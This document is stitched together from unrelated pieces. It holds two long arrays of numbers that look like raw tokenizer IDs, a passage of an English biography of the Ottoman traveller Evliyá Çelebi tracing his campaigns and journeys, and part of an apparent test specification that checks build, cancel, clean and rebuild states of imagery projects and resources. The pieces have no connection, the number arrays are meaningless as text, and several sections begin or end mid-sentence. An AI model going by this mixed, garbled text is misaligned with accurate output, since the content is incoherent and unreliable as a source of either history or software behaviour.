6960, 407, 247, 795, 44, 700, 85, 14, 74, 14, 84, 379, 41980, 4414, 2726, 436, 187, 681, 2230, 344, 11580, 253, 15918, 273, 11086, 487, 11180, 13, 500, 9435, 6362, 13, 1680, 468, 13, 35472, 6187, 78, 13, 187, 35832, 1962, 76, 7080, 16236, 285, 443, 9409, 13, 273, 534, 6158, 253, 330, 1730, 7305, 574, 387, 326, 673, 187, 42533, 10023, 15, 5635, 965, 90, 1757, 21153, 697, 5141, 13, 285, 369, 253, 806, 281, 187, 856, 7041, 327, 697, 8099, 253, 6009, 273, 253, 1680, 77, 30836, 15, 187, 187, 510, 46095, 22987, 507, 1907, 36733, 264, 327, 253, 8120, 273, 581, 273, 253, 330, 1730, 471, 187, 249, 29488, 13, 247, 2063, 2473, 26018, 715, 46095, 1661, 571, 369, 20023, 407, 1023, 301, 1950, 187, 13924, 1314, 367, 1757, 1200, 1757, 28, 285, 5635, 965, 90, 1757, 1907, 689, 14, 6321, 253, 2586, 342, 521, 499, 37608, 187, 14824, 13, 4895, 281, 8024, 8260, 6187, 78, 13, 40689, 13, 327, 253, 1283, 394, 273, 1503, 300, 4530, 457, 1473, 13, 344, 873, 562, 187, 251, 521, 1091, 281, 46329, 879, 15, 3032, 367, 1757, 1200, 1757, 13, 1605, 699, 69, 26805, 1503, 1757, 615, 73, 36250, 13, 187, 30819, 22134, 6142, 5911, 1411, 253, 6162, 70, 13, 344, 3560, 779, 432, 8024, 8260, 6187, 78, 187, 10489, 47833, 1757, 17616, 13, 8024, 5282, 75, 9435, 13, 1608, 18463, 76, 4595, 14, 8701, 26805, 13, 418, 50031, 1950, 76, 13, 7612, 91, 338, 19664, 13, 611, 412, 42360, 13, 187, 40, 360, 763, 13, 500, 263, 6187, 78, 13, 285, 14391, 28382, 15, 754, 2378, 6497, 715, 253, 3564, 273, 4848, 1653, 13, 533, 187, 9520, 1055, 272, 521, 8773, 13, 344, 3560, 521, 6303, 281, 743, 3892, 66, 15, 187, 510, 21251, 273, 436, 3874, 417, 27382, 253, 367, 1757, 1200, 1757, 281, 6294, 2994, 187, 484, 275, 253, 19887, 13, 344, 369, 969, 26337, 281, 1379, 253, 1673, 15, 3032, 1270, 187, 595, 657, 1757, 23667, 26805, 367, 1757, 1200, 1757, 13, 327, 3692, 2395, 344, 574, 6142, 5911, 13, 2167, 344, 574, 187, 1257, 15030, 285, 1160, 16154, 2067, 367, 1757, 1200, 7766, 313, 35094, 296, 5207, 369, 611, 412, 250, 300, 1950, 13, 187, 6438, 4515, 19651, 347, 253, 806, 8481, 657, 16130, 1950, 83, 273, 253, 2021, 582, 369, 387, 187, 6275, 16473, 13, 285, 5339, 407, 44900, 1200, 1950, 83, 367, 1757, 1200, 1757, 15, 1605, 699, 69, 26805, 1503, 1757, 615, 73, 36250, 187, 49, 1757, 1200, 1757, 13, 2299, 13, 7303, 521, 13909, 594, 973, 13, 326, 344, 2797, 417, 760, 187, 8701, 34030, 533, 247, 747, 14286, 15, 5635, 965, 90, 1757, 369, 342, 779, 387, 34827, 67, 36526, 26805, 13, 672, 187, 248, 2959, 253, 9260, 273, 521, 3392, 457, 84, 2471, 13, 285, 326, 512, 521, 187, 9134, 574, 13547, 281, 521, 3213, 14, 13875, 285, 521, 18903, 15, 1623, 4854, 436, 187, 248, 2335, 3553, 273, 1605, 699, 69, 26805, 1503, 1757, 615, 73, 13, 285, 20311, 407, 308, 4063, 293, 1950, 13, 20081, 1757, 7261, 1950, 13, 187, 395, 611, 1950, 6156, 13, 281, 46329, 879, 13, 835, 344, 7244, 387, 253, 673, 273, 253, 187, 17124, 10532, 13, 407, 534, 322, 503, 9435, 16120, 30856, 369, 372, 7334, 13, 285, 36250, 8019, 15, 187, 42750, 281, 253, 23399, 15, 5635, 965, 90, 1757, 457, 84, 2395, 273, 436, 10532, 13, 285, 273, 253, 187, 26985, 19522, 14142, 275, 352, 13, 310, 594, 1199, 253, 625, 4722, 13, 326, 253, 7015, 187, 71, 25755, 614, 273, 309, 4946, 73, 30856, 13, 253, 8530, 500, 27497, 1950, 611, 1689, 1432, 11430, 13, 273, 3692, 24492, 344, 187, 46535, 3748, 13, 574, 644, 5635, 965, 90, 1757, 457, 84, 2143, 14, 47530, 15, 5635, 965, 90, 1757, 13, 2299, 13, 574, 187, 20394, 973, 4127, 407, 779, 13, 285, 2959, 347, 271, 1711, 2143, 14, 47530, 13, 13515, 187, 9131, 521, 1211, 2965, 13, 285, 326, 273, 521, 17292, 6303, 13, 309, 4946, 73, 30856, 13, 534, 187, 38472, 2348, 275, 253, 807, 884, 3680, 313, 1036, 2385, 481, 187, 187, 12018, 965, 90, 1757, 1735, 7660, 2994, 281, 322, 3093, 13838, 26805, 8524, 442, 91, 1757, 367, 1757, 1200, 1757, 13, 665, 369, 187, 40364, 15636, 273, 47419, 13, 347, 795, 15155, 11105, 249, 14, 67, 1757, 1200, 1950, 64, 313, 266, 3906, 534, 13, 187, 284, 1078, 5393, 13, 344, 574, 2918, 762, 714, 6187, 84, 2375, 367, 1757, 1200, 1757, 13, 275, 253, 26018, 187, 26204, 330, 1351, 66, 582, 285, 347, 795, 3351, 30836, 12828, 22009, 7481, 390, 14959, 273, 253, 1113, 18444, 273, 187, 81, 300, 737, 14381, 281, 3189, 18442, 15, 754, 1669, 46329, 879, 275, 253, 5068, 273, 27700, 457, 67, 9435, 187, 740, 3680, 313, 1036, 2385, 481, 187, 187, 510, 2626, 4644, 764, 2979, 342, 271, 2395, 273, 521, 20117, 1270, 187, 19923, 2191, 13, 534, 369, 281, 47419, 15, 754, 574, 28438, 7244, 387, 436, 1659, 187, 9453, 344, 369, 2197, 407, 8524, 442, 91, 1757, 367, 1757, 1200, 1757, 327, 247, 7517, 281, 46329, 879, 15, 831, 187, 19923, 2191, 369, 2684, 1077, 9086, 13, 285, 344, 4245, 642, 1798, 2395, 187, 1171, 352, 13, 760, 29570, 326, 344, 1313, 690, 273, 253, 4848, 1653, 15823, 281, 253, 187, 14824, 273, 611, 28382, 343, 75, 1950, 29256, 12408, 1950, 15, 187, 187, 1328, 4895, 342, 253, 1072, 711, 20559, 281, 47419, 13, 40689, 344, 873, 562, 327, 187, 8701, 31514, 5695, 281, 3189, 18442, 13, 949, 10253, 15, 4683, 436, 31514, 5695, 642, 2395, 187, 261, 1677, 275, 776, 7714, 3491, 13, 347, 352, 3133, 344, 4962, 1078, 344, 574, 187, 47954, 253, 789, 15, 1707, 310, 642, 1953, 13, 2299, 13, 347, 281, 253, 673, 387, 187, 4609, 352, 369, 20023, 13, 1580, 275, 521, 2395, 273, 253, 19485, 273, 322, 503, 9435, 187, 24354, 50031, 8019, 15, 344, 3054, 326, 344, 369, 816, 275, 673, 13, 846, 521, 1091, 432, 187, 5072, 18442, 949, 10253, 13, 281, 3894, 275, 253, 18735, 273, 253, 10170, 12103, 407, 187, 24354, 442, 91, 1757, 367, 1757, 1200, 1757, 689, 253, 47756, 13505, 13, 275, 253, 807, 884, 3046, 15, 3954, 5635, 965, 90, 1757, 457, 84, 2395, 187, 1171, 436 ]

issaries. This was Evliyá’s first campaign, but he has left no account of it. His second journey was to Brousa, in 1640, with the account of which he commences his second volume. This journey he undertook, together with some friends, without his father’s consent, and having visited all the baths, monuments, mosques, and public walks, he returned to Constantinople, where he was well received by his father. In the beginning of Rebi-ul-evvel he set out on his third journey, which was to Nicomedia. On his return he visited the Princes’ Islands, and arrived at Constantinople a month after he had left it. Ketánjí Omar Páshá having been appointed to the government of Trebisonde, he made his old friend, Evliyá’s father, his agent at Constantinople, and took Evliyá along with him. They left Constantinople in the beginning of Rebi-ul-ákhir, and proceeded to Trebisonde, coasting by Kefken, Heraclea, Amassera, Sinope, Samsún, and Kherson. From Trebisonde he was ordered to attend the _zemburukchís_ (camel-artillery) of Gonia to the siege of Azov in 1051. He proceeded along the shores of the Black Sea through the country of the Abáza, the history and description of which form the most interesting part of Evliyá’s travels. The fleet destined for Azov reached Anapa shortly after the arrival of Evliyá. He immediately waited upon the commander, Delí Husain Páshá, who received him into his suite, and placed him on board the galley of his kehiyá. They sailed for Azov on the 12th of Sha’bán. Evliyá was present at the siege, which being unsuccessful, was raised, and he accompanied the Tatár Khán’s army, which returned to the Crimea by land. At Bálakláva he embarked for Constantinople, but was wrecked, and escaped with only two slaves out of the many whom he had collected in his travels through Abáza and Mingrelia. He was thrown on the coast of Kilyra, whence he proceeded to Constantinople. In 1055 (1645) the fleet was fitted out, as was generally rumoured, for an expedition against Malta, and Evliyá embarked on board the ship of the Capudán Páshá, Yúsuf Páshá, in the capacity of _Móazzin-báshí_.[3] The expedition, however, having touched at the Morea, suddenly turned upon Candia, where Evliyá was present at the reduction of the castle of St. Todero, and the siege of Canea; after which he attended several military excursions to Dalmatia and Sebenico. [3] _Moazzin-báshí_, the chief of the proclaimers of prayers. On his return to Constantinople he made arrangements for his sixth journey, with Defterdár Zádeh Mohammed Páshá, who was at that time appointed governor of Erzerúm, and whom Evliyá accompanied as clerk of the custom-house at Erzerúm. Their route lay through Nicomedia, Sabanja, Bólí, Túsia, Amásia, Nígísár, and they reached Erzerúm, having made seventy stages. Shortly afterwards the Páshá sent him on a mission to the Khán of Tabríz, with a view to facilitate a commercial intercourse. This was Evliyá’s first journey into Persia. On his way he visited Etchmiazin, Nakhcheván, and Merend; and returned by Aján, Erdebíl, Eriván, Bakú, Derbend, Kákht, the plain of Chaldirán, and the fortress of Akhíska. Ten days after he was again despatched to Eriván, on returning from which he resumed his duties at the custom-house. He was, however, scarcely settled, when the Páshá sent him on a mission to the governor of the Sanjaks of Jánja and Tortúm, in order to collect the troops which had been ordered by a _Khatt-i-sheríf_. With this commission he visited the towns of Baiburd, Jánja, Isper, Tortúm, Akchekala’, and Gonia, of which latter the Cossacks had at that time taken possession. Evliyá witnessed its reduction, and was the first to proclaim on its walls the faith of the Islám. The Mingrelians having revolted on the occasion of one of the Cossack inroads, a predatory expedition into Mingrelia was undertaken by Seidí Ahmed Páshá; and Evliyá having over-run the country with his plundering party, returned to Erzerúm, whence, on the 18th of Zilka’da, he set out on his return to Constantinople. His Páshá, Defterdár Zádeh Mohammed, having openly rebelled against the Porte, he followed him from Erzerúm through Kumákh, Erzenján, Shínkara-hisár, Ládík, Merzifún, Koprí, Gumish, Jorúm, and Tokát. He once fell into the hands of robbers, but fortunately effecting his escape, he followed his master to Angora. The inhabitants of this town not permitting the Páshá to shut himself up in the castle, he was again obliged to take the field. His great ally Várvár Páshá, on whose account he had rebelled, though he had beaten and made prisoners several Páshás (amongst whom was Kopreilí, afterwards celebrated as the first Grand Vezír of the family), was at last defeated, and killed by Ibshír Páshá. Defterdár Zádeh Mohammed Páshá, however, managed his affairs so well, that he obtained not only his pardon but a new appointment. Evliyá was with him at Begbázár, when he received the intelligence of his father’s death, and that all his property had fallen to his step-mother and his sisters. On hearing this he took leave of Defterdár Zádeh, and proceeded by Turbelí, Taráklí, and Kíva, to Constantinople, where he arrived at the time of the great revolution, by which Sultán Selím was deposed, and Mohammed IV. raised to the throne. Evliyá’s account of this revolution, and of the principal actors in it, is so much the more interesting, that the chief favourite of Ibrahím, the famous Jinjí Khoajeh, of whose ignorance he makes mention, had been Evliyá’s school-fellow. Evliyá, however, had been well treated by him, and received as an old school-fellow, shortly before his own fall, and that of his royal master, Ibrahím, which happened in the year 1058 (1648). Evliyá next attached himself to Silihdár Murtezá Páshá, who was appointed Governor of Damascus, as _Moazzin-báshí_ (an office which, as before mentioned, he had held under Yúsuf Páshá, in the expedition against Canea), and as _Imám Mahmil_, or priest of the caravan of pilgrims to Mecca. He left Constantinople in the beginning of Sha’bán 1058 (1648). The third volume commences with an account of his seventh great journey, which was to Damascus. He had scarcely arrived at this place when he was sent by Murtezá Páshá on a mission to Constantinople. This journey was performed very rapidly, and he gives no particular account of it, only mentioning that he met some of the robbers belonging to the party of Kátirjí Oghlí. He returned with the same despatch to Damascus, whence he set out on his pilgrimage to Mecca, through Egypt. Of this pilgrimage no account is given in our manuscript copy, as it seems he died before he had completed the work. There is no question, however, as to the time at which it was undertaken, since in his account of the reign of Sultán Murád IV. he states that he was just in time, after his return from Mecca through Egypt, to share in the glory of the victory gained by Murtezá Páshá over the Druzes, in the year 1059. Now Evliyá’s account of this

[ 36885, 3, 310, 275, 187, 50276, 93, 2418, 50272, 93, 187, 50276, 93, 2912, 93, 187, 50276, 93, 496, 25155, 1040, 187, 50276, 93, 7035, 2107, 50273, 93, 187, 50276, 93, 322, 1028, 49930, 50276, 93, 187, 510, 2199, 588, 417, 1265, 3652, 969, 1293, 2608, 3280, 187, 11, 2213, 2123, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 36272, 4553, 36885, 3, 187, 187, 36885, 8049, 187, 11, 330, 18721, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 36272, 4553, 36885, 3, 187, 11, 7188, 1419, 326, 253, 1375, 273, 3888, 323, 4284, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 36272, 4553, 36885, 3, 310, 275, 187, 50276, 93, 2418, 50272, 93, 187, 50276, 93, 2912, 93, 187, 50276, 93, 496, 25155, 1040, 187, 50276, 93, 7035, 2107, 50273, 93, 187, 50276, 93, 322, 1028, 49930, 50276, 93, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 36272, 4553, 36885, 3, 310, 346, 36, 1377, 17371, 3, 187, 187, 36272, 8049, 187, 11, 24373, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 36272, 4553, 36885, 3, 187, 11, 7188, 1419, 326, 253, 1375, 273, 3888, 323, 4284, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 36272, 4553, 36885, 3, 310, 275, 187, 50276, 93, 2418, 50272, 93, 187, 50276, 93, 2912, 93, 187, 50276, 93, 496, 25155, 1040, 187, 50276, 93, 7035, 2107, 50273, 93, 187, 50276, 93, 322, 1028, 49930, 50276, 93, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 36272, 4553, 36885, 3, 310, 346, 13378, 20625, 3, 187, 187, 1785, 7973, 8049, 187, 11, 11103, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 36272, 4553, 36885, 3, 187, 11, 21050, 323, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 36272, 4553, 36885, 3, 281, 3986, 1375, 346, 52, 1028, 49930, 3, 187, 11, 7188, 1419, 326, 253, 1375, 273, 3888, 323, 4284, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 36272, 4553, 36885, 3, 310, 346, 52, 1028, 49930, 3, 187, 187, 817, 24373, 285, 330, 18721, 8049, 285, 22106, 13, 2635, 1720, 7973, 8049, 187, 31095, 27, 14002, 13, 4076, 13, 21058, 13, 21550, 187, 187, 10987, 187, 11, 13119, 285, 1973, 4284, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 36272, 36885, 1785, 7973, 11695, 3, 187, 187, 36885, 22106, 285, 8049, 187, 11, 330, 18721, 27471, 7741, 346, 22036, 9709, 934, 64, 36272, 36885, 1785, 7973, 11695, 3, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 7741, 346, 22036, 9709, 934, 64, 36272, 36885, 1785, 7973, 11695, 3, 310, 346, 36, 1377, 17371, 3, 187, 11, 330, 18721, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 36272, 36885, 1785, 7973, 11695, 3, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 36272, 36885, 1785, 7973, 11695, 3, 310, 346, 36, 1377, 17371, 3, 187, 187, 1785, 7973, 8049, 187, 11, 11103, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 36272, 36885, 1785, 7973, 11695, 3, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 36272, 36885, 1785, 7973, 11695, 3, 310, 275, 187, 50276, 93, 2418, 50272, 93, 187, 50276, 93, 2912, 93, 187, 50276, 93, 21050, 272, 50274, 93, 187, 50276, 93, 496, 25155, 1040, 187, 50276, 93, 7035, 2107, 50273, 93, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 7741, 346, 22036, 9709, 934, 64, 36272, 36885, 1785, 7973, 11695, 3, 310, 275, 187, 50276, 93, 2418, 50272, 93, 187, 50276, 93, 2912, 93, 187, 50276, 93, 496, 25155, 1040, 187, 50276, 93, 7035, 2107, 50273, 93, 187, 187, 36885, 22106, 285, 8049, 187, 11, 330, 18721, 27471, 7741, 346, 22036, 9709, 934, 64, 36272, 36885, 1785, 7973, 11695, 3, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 7741, 346, 22036, 9709, 934, 64, 36272, 36885, 1785, 7973, 11695, 3, 310, 346, 36, 1377, 17371, 3, 187, 11, 330, 18721, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 36272, 36885, 1785, 7973, 11695, 3, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 36272, 36885, 1785, 7973, 11695, 3, 310, 346, 36, 1377, 17371, 3, 187, 187, 36272, 22106, 285, 8049, 187, 11, 24373, 27471, 7741, 346, 22036, 9709, 934, 64, 36272, 36885, 1785, 7973, 11695, 3, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 7741, 346, 22036, 9709, 934, 64, 36272, 36885, 1785, 7973, 11695, 3, 310, 346, 13378, 20625, 3, 187, 11, 24373, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 36272, 36885, 1785, 7973, 11695, 3, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 36272, 36885, 1785, 7973, 11695, 3, 310, 346, 13378, 20625, 3, 187, 187, 1785, 7973, 8049, 187, 11, 11103, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 36272, 36885, 1785, 7973, 11695, 3, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 36272, 36885, 1785, 7973, 11695, 3, 310, 275, 187, 50276, 93, 2418, 50272, 93, 187, 50276, 93, 2912, 93, 187, 50276, 93, 21050, 272, 50274, 93, 187, 50276, 93, 496, 25155, 1040, 187, 50276, 93, 7035, 2107, 50273, 93, 187, 50276, 93, 322, 1028, 49930, 50276, 93, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 7741, 346, 22036, 9709, 934, 64, 36272, 36885, 1785, 7973, 11695, 3, 310, 275, 187, 50276, 93, 2418, 50272, 93, 187, 50276, 93, 2912, 93, 187, 50276, 93, 496, 25155, 1040, 187, 50276, 93, 7035, 2107, 50273, 93, 187, 50276, 93, 322, 1028, 49930, 50276, 93, 187, 11, 21050, 323, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 36272, 36885, 1785, 7973, 11695, 3, 281, 3986, 1375, 346, 52, 1028, 49930, 3, 187, 11, 7188, 1419, 326, 253, 1375, 273, 3888, 323, 4284, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 36272, 36885, 1785, 7973, 11695, 3, 310, 346, 52, 1028, 49930, 3, 187, 187, 817, 19242, 6512, 543, 272, 281, 20815, 39607, 187, 31095, 27, 10796, 287, 720, 13, 1973, 13, 14002, 13, 4076, 13, 21550, 187, 187, 4531, 598, 187, 11, 13119, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 22495, 11695, 18, 3, 187, 11, 13119, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 22495, 11695, 19, 3, 187, 11, 13119, 27471, 7741, 346, 22036, 9709, 934, 64, 22495, 11695, 3, 432, 346, 3351, 356, 1771, 16, 1559, 86, 358, 274, 934, 64, 21, 10294, 15, 40165, 3, 187, 11, 5733, 27471, 7741, 346, 22036, 9709, 934, 64, 22495, 11695, 3, 281, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 22495, 11695, 18, 3, 187, 11, 5733, 27471, 7741, 346, 22036, 9709, 934, 64, 22495, 11695, 3, 281, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 22495, 11695, 19, 3, 187, 11, 13119, 27471, 7741, 346, 3016, 40, 7084, 266, 20794, 64, 22495, 11695, 3, 432, 346, 3351, 356, 1771, 16, 316, 5943, 45, 266, 20794, 15, 40165, 3, 187, 11, 5733, 27471, 7741, 346, 3016, 40, 7084, 266, 20794, 64, 22495, 11695, 3, 281, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 22495, 11695, 18, 3, 187, 11, 5733, 27471, 7741, 346, 3016, 40, 7084, 266, 20794, 64, 22495, 11695, 3, 281, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 22495, 11695, 19, 3, 187, 187, 10987, 187, 11, 11103, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 22495, 11695, 18, 3, 187, 11, 11103, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 22495, 11695, 19, 3, 187, 187, 36885, 22106, 187, 11, 330, 18721, 27471, 7741, 346, 3016, 40, 7084, 266, 20794, 64, 22495, 11695, 3, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 7741, 346, 3016, 40, 7084, 266, 20794, 64, 22495, 11695, 3, 310, 346, 36, 1377, 17371, 3, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 22495, 11695, 18, 3, 310, 346, 11144, 264, 3, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 22495, 11695, 19, 3, 310, 346, 11144, 264, 3, 187, 187, 10987, 22106, 187, 11, 11103, 27471, 7741, 346, 3016, 40, 7084, 266, 20794, 64, 22495, 11695, 3, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 7741, 346, 3016, 40, 7084, 266, 20794, 64, 22495, 11695, 3, 310, 275, 187, 50276, 93, 2418, 50272, 93, 187, 50276, 93, 2912, 93, 187, 50276, 93, 496, 25155, 1040, 187, 50276, 93, 7035, 2107, 50273, 93, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 22495, 11695, 18, 3, 310, 346, 13689, 272, 3, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 22495, 11695, 19, 3, 310, 346, 13689, 272, 3, 187, 187, 36885, 285, 24373, 22106, 187, 11, 330, 18721, 27471, 7741, 346, 3016, 40, 7084, 266, 20794, 64, 22495, 11695, 3, 187, 11, 24373, 27471, 7741, 346, 3016, 40, 7084, 266, 20794, 64, 22495, 11695, 3, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 7741, 346, 3016, 40, 7084, 266, 20794, 64, 22495, 11695, 3, 310, 346, 13378, 20625, 3, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 22495, 11695, 18, 3, 310, 346, 11144, 264, 3, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 22495, 11695, 19, 3, 310, 346, 11144, 264, 3, 187, 187, 10987, 22106, 187, 11, 11103, 27471, 7741, 346, 3016, 40, 7084, 266, 20794, 64, 22495, 11695, 3, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 7741, 346, 3016, 40, 7084, 266, 20794, 64, 22495, 11695, 3, 310, 275, 187, 50276, 93, 2418, 50272, 93, 187, 50276, 93, 2912, 93, 187, 50276, 93, 496, 25155, 1040, 187, 50276, 93, 7035, 2107, 50273, 93, 187, 11, 11103, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 22495, 11695, 18, 3, 187, 11, 11103, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 22495, 11695, 19, 3, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 22495, 11695, 18, 3, 310, 346, 13689, 272, 3, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 22495, 11695, 19, 3, 310, 346, 13689, 272, 3, 187, 187, 36885, 8049, 187, 11, 330, 18721, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 22495, 11695, 18, 3, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 22495, 11695, 18, 3, 310, 346, 36, 1377, 17371, 3, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 7741, 346, 3016, 40, 7084, 266, 20794, 64, 22495, 11695, 3, 310, 275, 187, 50276, 93, 2418, 50272, 93, 187, 50276, 93, 2912, 93, 187, 50276, 93, 496, 25155, 1040, 187, 50276, 93, 7035, 2107, 50273, 93, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 22495, 11695, 19, 3, 310, 346, 13689, 272, 3, 187, 187, 36272, 8049, 187, 11, 24373, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 22495, 11695, 18, 3, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 22495, 11695, 18, 3, 310, 346, 13378, 20625, 3, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 7741, 346, 3016, 40, 7084, 266, 20794, 64, 22495, 11695, 3, 310, 275, 187, 50276, 93, 2418, 50272, 93, 187, 50276, 93, 2912, 93, 187, 50276, 93, 496, 25155, 1040, 187, 50276, 93, 7035, 2107, 50273, 93, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 22495, 11695, 19, 3, 310, 346, 13689, 272, 3, 187, 187, 13689, 323, 2199, 374, 281, 1973, 187, 11, 21050, 323, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 22495, 11695, 19, 3, 281, 3986, 1375, 346, 52, 1028, 49930, 3, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 22495, 11695, 18, 3, 310, 346, 13378, 20625, 3, 187 ]

Cancel" is in | State | |------------| | InProgress | | Queued | | Succeeded | The project will not start building again without user input * Resume imagery project "StatePropagationTest_CleanAfterCancel" Cancel Project * Cancel imagery project "StatePropagationTest_CleanAfterCancel" * Verify that the state of images for default project "StatePropagationTest_CleanAfterCancel" is in | State | |------------| | InProgress | | Queued | | Succeeded | * Verify that the state of imagery project "StatePropagationTest_CleanAfterCancel" is "Canceled" Clean Project * Clean imagery project "StatePropagationTest_CleanAfterCancel" * Verify that the state of images for default project "StatePropagationTest_CleanAfterCancel" is in | State | |------------| | InProgress | | Queued | | Succeeded | * Verify that the state of imagery project "StatePropagationTest_CleanAfterCancel" is "Cleaned" Rebuild Project * Build imagery project "StatePropagationTest_CleanAfterCancel" * Wait for imagery project "StatePropagationTest_CleanAfterCancel" to reach state "Succeeded" * Verify that the state of images for default project "StatePropagationTest_CleanAfterCancel" is "Succeeded" ## Clean and Cancel Project and Resource, Then Rebuild Project Tags: cancel, clean, resume, rebuild Build * Create and build default project "StatePropagationTest_CleanCancelRebuildProject" Cancel Resource and Project * Cancel imagery resource "BlueMarble_CleanCancelRebuildProject" * Verify that the state of imagery resource "BlueMarble_CleanCancelRebuildProject" is "Canceled" * Cancel imagery project "StatePropagationTest_CleanCancelRebuildProject" * Verify that the state of imagery project "StatePropagationTest_CleanCancelRebuildProject" is "Canceled" Rebuild Project * Build imagery project "StatePropagationTest_CleanCancelRebuildProject" * Verify that the state of imagery project "StatePropagationTest_CleanCancelRebuildProject" is in | State | |------------| | Waiting | | InProgress | | Queued | * Verify that the state of imagery resource "BlueMarble_CleanCancelRebuildProject" is in | State | |------------| | InProgress | | Queued | Cancel Resource and Project * Cancel imagery resource "BlueMarble_CleanCancelRebuildProject" * Verify that the state of imagery resource "BlueMarble_CleanCancelRebuildProject" is "Canceled" * Cancel imagery project "StatePropagationTest_CleanCancelRebuildProject" * Verify that the state of imagery project "StatePropagationTest_CleanCancelRebuildProject" is "Canceled" Clean Resource and Project * Clean imagery resource "BlueMarble_CleanCancelRebuildProject" * Verify that the state of imagery resource "BlueMarble_CleanCancelRebuildProject" is "Cleaned" * Clean imagery project "StatePropagationTest_CleanCancelRebuildProject" * Verify that the state of imagery project "StatePropagationTest_CleanCancelRebuildProject" is "Cleaned" Rebuild Project * Build imagery project "StatePropagationTest_CleanCancelRebuildProject" * Verify that the state of imagery project "StatePropagationTest_CleanCancelRebuildProject" is in | State | |------------| | Waiting | | InProgress | | Queued | | Succeeded | * Verify that the state of imagery resource "BlueMarble_CleanCancelRebuildProject" is in | State | |------------| | InProgress | | Queued | | Succeeded | * Wait for imagery project "StatePropagationTest_CleanCancelRebuildProject" to reach state "Succeeded" * Verify that the state of images for default project "StatePropagationTest_CleanCancelRebuildProject" is "Succeeded" ## Resources Belonging to Multiple Projects Tags: multiproject, build, cancel, clean, rebuild Set up * Create imagery project "StatePropagationTest_MultiProject1" * Create imagery project "StatePropagationTest_MultiProject2" * Create imagery resource "BlueMarble_MultiProject" from "Imagery/bluemarble_4km.tif" * Add imagery resource "BlueMarble_MultiProject" to project "StatePropagationTest_MultiProject1" * Add imagery resource "BlueMarble_MultiProject" to project "StatePropagationTest_MultiProject2" * Create imagery resource "USGSLanSat_MultiProject" from "Imagery/usgsLanSat.tif" * Add imagery resource 